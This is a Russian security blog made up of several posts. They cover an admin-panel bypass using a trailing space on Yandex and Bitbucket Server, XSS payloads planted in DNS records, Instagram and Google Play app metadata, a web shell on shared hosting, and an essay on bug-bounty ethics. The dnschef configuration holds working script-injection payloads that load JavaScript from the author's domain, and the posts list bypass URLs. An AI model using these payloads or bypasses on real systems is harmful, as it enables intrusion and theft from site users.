Когда символ пробела — атака

By | Блог | 5 комментариев
Ты не пройдешь

Привет!

Сервера могут по-разному воспринимать присланную пользователем информацию. Общепринято, что %20 или знак + в параметрах принимается за пробел. Запрос на директорию /folder/test/%2e%2e/page — нормализуется до /folder/page, ибо %2e — точка в urlencode. Например, знаменитый (в узких кругах) open redirect работает за счет некорректной нормализации запроса.

Но я тебе расскажу о том, как пробел становится атакой.

Уязвимость в Xbox

В качестве вступления — забавная бага, не моё, но в тему. Пацану 5 лет и он понял, что если ввести пробел вместо пароля — он попадет в аккаунт отца. Как это работало я до сих пор смутно представляю, но вот тебе ссылка ознакомиться поближе.

— А причём тут ты?

А я просто мимо проходил, и оказывается, находился на одной стене почёта с этим мальчиком, и даже попал на TV:

Видел?

Как нет?

Ну ты чего, смотри внимательнее!

Вот же:

Правда всего на треть секунды, быстрым перематыванием страницы. Ну да ладно 😀

Уязвимость на поддомене Yandex

Было замечено, что в стандартной ситуации, один из поддоменов яндекса при обращении к директории /admin/ просит логин и пароль:

http://sqtest.yandex.net/admin/ — 401

Однако, если добавить после admin знак пробела, то в админку пускало.

http://sqtest.yandex.net/admin%20/ — 200

Внутренние ссылки заново просили логин и пароль, однако, подменив вхождение строки «/admin/» в ответе сервера на»/admin%20/», админкой можно было пользоваться. К сожалению, скриншотов у меня не осталось, так что придется поверить мне наслово. Уязвимость давно сдана, деньги получены и потрачены, остались лишь воспоминания.

Уязвимость в Bitbucket Server

Шло время, уязвимость в рамках bugbounty я уже давно забыл, но после очередного брута директорий нарвался на странную аномалию, где опять же, директория /admin с пробелом на конце вернула статус 200, в то время как должен быть редирект на /login

Взглянув на домен, я понял, что там находится bitbucket server, да и версия вроде не древняя. Открыв руками — был удивлён, и правда открывается админка, правда без многих ссылок.

Дальше изучив bitbucket server на локальной машине, опытным путем понял, что сервер отдает содержимое страниц для следующих ссылок:

/admin%20/mail-server
/admin%20/db
/admin%20/db/edit
/admin%20/license
/admin%20/logging
/admin%20/server-settings
/admin%20/authentication
/admin%20/avatars

Выглядит забавно, правда?

Уязвимость позволяет увидеть лишь некоторые директории, например, директория /admin/users/ — недоступна. Также, вместо пробела могут быть символы x01-x20.

Помимо директорий выше — видны установленные плагины, которые тоже могут иметь свои уязвимости.

Бага была исправлена и работает на Bitbucket Server > 4.8. Bitbucket разрабатывает команда atlassian, в свою очередь они делают такие продукты как jira, confluence, hipchat, и может ты, %username%, попробуй изучить подробнее, вдруг я что-то пропустил. И возможно, уязвимость будет в других продуктах компании.

Приключения xss векторов в необычных местах

By | Блог | 3 комментария

Привет! Хочу рассказать о нескольких случаях, когда ресурсы сами собирали данные, но некорректно их обрабатывали. Причём в некоторых случаях, данные представлены в безопасном виде, но за счет парсинга и дальнейшей обработки когда-то безопасная строка превращается в атакующий вектор. На серьезность статьи не претендую, все забавы ради, как в старые — добрые времена 🙂

XSS и DNS

Если загуглить XSS via DNS, то ты найдешь несколько статей на эту тему, когда в качестве TXT записи  отдается атакующий вектор.
Но создать TXT запись можно в любой хостинг-панели и XSS там висит с времен создания блога 🙂
А почему никто не вспомнил про другие виды записей, скажем, CNAME или NS? Но для того, чтобы вернуть в качестве доменов атакующие вектора, можно создать собственный NS-сервер.
Отличным решением было использование dnschef. Я взял поддомен hack.bo0om.ru (можно было любой свой домен), в качестве name server’а указал собственный ip. Всё.

Теперь мы рулим настройками, которые в dnschef.ini:

Создаем
[MX]
*.xss.hack.bo0om.ru="-->'></script><script/src=//bo0om.ru/xss.js></script>
[NS]
*.xss.hack.bo0om.ru="-->'></script><script/src=//bo0om.ru/xss.js></script>
[CNAME]
*.xss.hack.bo0om.ru="-->'></script><script/src=//bo0om.ru/xss.js></script>

Теперь, если ресурс берет данные из DNS и помещает на страницу — есть вероятность, что про фильтрацию пользовательских данных он забыл.

Примеры, где работает XSS:

XSS и Instagram

Забавы ради я как-то добавил XSS в статус инстаграма. Ничего в этом такого нет, но стоит заметить, что сам вектор атаки был безопасен (на странице instagram).

Но по логам — начали срабатывать XSS’ки на различных доменах, это были парсеры соцсети и какие-то аналитические сервисы. Вот пример доменов:

  • findgram.me
  • imgrab.com
  • instagy.com
  • iconosquare.com
  • tofo.me
  • photo.sh
  • gramosphere.com

Часть из них баги уже исправили, но то что было в логах — пусть будет тут 🙂

XSS и Google Play

Недавно постучал @Black2Fan и спрашивает, а есть ли у меня android приложение с XSS в Google Play :D?

А что, можно было? А давай сделаем! Где-нибудь да и стрельнет (а вдруг где-то у googl’а).

 

Итак, был сгенерирован сертификат, подписывающий приложение, только вместо имени разработчика и прочих данных — XSS

Были разложены файлы с «заначками», и файлы, путь из которых формирует валидный тег, подгружающий скрипт с моего домена.
Напомню, что в именах файлов можно использовать спецсимволы (в linux), кому интересно — гляньте папку assets.

Но вот беда, чтобы внедрить свой скрипт в имя, нужно домен покороче, ибо ограничение в 30 символов. Под рукой короткого домена, естественно, небыло. Если все одно-двусимвольные домены уже зарегистрированны — еще не все потеряно. В современных интернетах уже давно используются punycode, и регистрировать такие домены можно, и в настоящий момент заняты не все смайлики 🙂

Например, последовательность xn--g3h дает ◼. Вот я и зарегистрировал домен — ◼.ws (4 символа включая точку).

Приложение пока доступно ТУТ, но в любой момент его могут удалить 🙂

В первую очередь отстук пришёл с парсеров приложений, больше всего трафика с данных доменов:

  • apkpure.com
  • allfreeapk.com
  • appbrain.com
  • appszoom.com
  • downloadatoz.com

Помимо этого, всякие сканеры приложений, декомпиляторы apk, ну и всякое по мелочи.

Один из примеров — HackApp, который ищет уязвимости в мобильных приложениях. Тем временем, приложение нашло уязвимость в нём 🙂

Но самое забавное — после того, как приложение было отправлено на virustotal, XSS сработали в панелях антивирусных компаний.

  1. Поддомен Qihoo 360 — создатели антивируса 360 Total Security
  2. Поддомен Antiy Labs — создатели антивируса AVL (красивая панелька, интеграция с Jira)

Обе панели на PHP, и обе компании из Китая, большая часть данных экранируется, но где-то да и проскочет вектор, который отправил «снимок экрана» мне на сервер. Не bugbounty, но все же забавно.

 

Еще одно замечание, в зависимости от перевода — в описание приложения проходит тег <img>, попробуй что-нибудь с этим сделать, а вдруг

Вместо заключения

Нужно больше золота забавных исследований. XSS-ки всегда будут актуальны, тем более это легко. Может ты знаешь ещё забавные места и вектора, кидай ссылки, если некуда писать — пиши на telegra.ph (с картинками) и кинь в комменты.

О том, почему я съехал с виртуального хостинга

By | Блог | 6 комментариев

Здарова!

Долгое время мой блог находился в shared хостинге у одного из российских провайдеров. Из плюсов — низкая цена, а так как стоимость рубля оставляла желать лучшего, пользоваться чем-то типа digitalocean было достаточно накладно.

Но в какой-то момент блог упал и выдавал только ошибку 500. После общения с службой поддержки, стало совсем грустно…

Интересно… У виртуальных хостингов много security недостатков, но блог не несет большую ценность, особенно при наличии бэкапов. Может они обратили внимание на wso2.php в корне сайта?

На самом деле у меня залит скрипт с выполнением произвольного кода, но с паролем и в далекой директории, так как данный тариф («Блог») не подразумевает предоставление FTP, SSH или какого-либо другого способа редактирования файлов. Я зашел через него и понял — у корневой директории просто отобрали права. Но есть одно НО.

Выходишь в директорию /home/ — есть права доступа к другим сайтам!

Забавно, правда? Могу получить доступ к 443 «соседям», но не могу зайти в свою директорию. Нашёл там блог Raz0r’а, папочку lifehacker.ru (они на тот момент съехали оттуда, но видимо хостились там), ну и кучи прочих.

А быть может доступен только листинг? Не-а, файлы конфигурации, например, читаются:

Божечки кошечки! Пишу в поддержку — ребята, хватит ворошить бэкапы, зовите сисадмина, тут такое! Я могу смотреть чужие сайты, а свой — нет.
Прикладываю скрины.

Но ответ опять не радует…

Ну вот. Теперь и заблокируют… А ещё рекомендуют использовать плагин webftp, который обладает такой же функцией, как и wso 😀

Что делать? Пора съезжать. Сказано — сделано. Позже блог восстановили, но осадок остался. Вот так я перестал использовать виртуальный хостинг.

P.S. Спасибо Сергею Белову, за то, что выручил и поселил меня.

P.P.S. Ну и расскажу, кто еще не вкурсе о vscale — виртуальный сервер в Москве или Санкт-Петербурге за 200 рублей в месяц. Рефералка даст 400 рублей на баланс 🙂

Уязвимость в Linkedin. Этичный хакер или злоумышленник?

By | Блог | One Comment

Здарова!

Не так давно исследователь нашёл серьёзную уязвимость в instagram, сообщил об этом, но копнул слишком далеко и нарушил условия багбаунти. Если не в курсе, вот тебе ссылка. Подобная история произошла со мной.

Как-то вечером я проводил исследование и нашел уязвимости на паре десятков сайтов, в том числе на одном из доменов linkedin.

Чтение произвольных файлов от привилегированного пользователя (root). Прочитав единственный файл в директории root — было понятно, что это данные для аутентификации к облачному хранилищу Amazon.

Технические подробности в блоге wallarm.

Было отправлено письмо, с надеждой, что несмотря на закрытость bugbounty, будет какая-то награда (ребята говорят, им футболки присылали).

В ответ было отправлено длинное-длинное письмо, о том, что поступил я неэтично. Основной акцент был сделан на то, что я своей выходкой отнял много времени у множества людей, что расследовать инцидент им пришлось более суток, видимо еще общались с амазоном дабы убедиться, что исходники я не сливал. Проверил, что уязвимость есть — нужно было остановиться.

Уязвимости и инциденты

Я считаю, если была найдена критическая уязвимость, нужно расследовать и принять меры по минимизации рисков. Кто-то мог получить доступ к внутренней инфраструктуре (не получал, а теоретически мог) — надо расследовать. Смена паролей, сброс сессионных идентификаторов, прочие меры. То есть всё, что делала бы организация, если бы они обнаружили инцидент, а не багу сдал исследователь.

Хотя бы потому что никто не знает, эксплуатировали ли эту уязвимость до того, как её нашёл исследователь. Может ей уже 5 лет и она хранится где-нибудь на закрытых площадках.

Так что обвинение в том, что я отнимаю время, считаю некорректным.

Этика и этичные хакеры

Множество хакеров — люди воспитанные предрассудками. Основной аргумент — за любую работу нужно платить. Огромное количество людей считают, что если «хакер» ворвался на сайт какой-то компании, компания уже автоматически должна ему бабла (IMHO, это вымогательство).

Без знаний типа уязвимости, способа эксплуатации и устранения, они суют кавычки во все щели и считают, что за эту работу им все должны.

И часто, после нахождения уязвимости, эти «этичные» багхантеры работают на два фронта. Продают слитые исходники или БД, и сдают уязвимость в bugbounty программу. Удобно.

И вот после этого разрешить хакерам лазить по внутрянке и сливать данные?

Тонкие грани

Нет чётких правил как вести себя при обнаружении уязвимостей. Например, если я прочитаю /etc/passwd могу ли я получить техническую информацию, которую можно использовать для дальнейших атак? Конечно. А ведь это первый файл, который будет прочитан. Кто-то скажет /etc/hosts  — а у кого-то это  очень важный файл с технической информацией о внутренней инфраструктуре и администраторах системы.

Как проверить, что у тебя привилегии суперпользователя? Почему-то сразу в голову приходит shadow. С паролями.

А иногда, невозможно оценить даже критичность уязвимости без эксплуатации таковой. Если бы завели /home/flag и /home/superflag — тогда другое дело. Есть что искать и как доказать наличие уязвимости.

Нашёл открытую базу данных (без пароля, например — MongoDB) — отправишь разработчикам, а они — иди в жопу, это пустая база для тестов.
Посмотришь — нарушишь правило программы.

Как отличить исследователя от злоумышленника? Если злоумышленник будет пытаться взломать ресурс, начнёт сливать файлы, а его поймают. Он скажет — а я тут багбаунти занимаюсь. Вот вам письмо написал.
Исследователь, получив чувствительную информацию, становится злоумышленником.

Я перегнул палку, когда зашёл на облачное хранилище. Но логин и пароль уже должен считаться скомпрометированным (обязательная процедура после такой баги). Исходники не сливал. Так кто же я?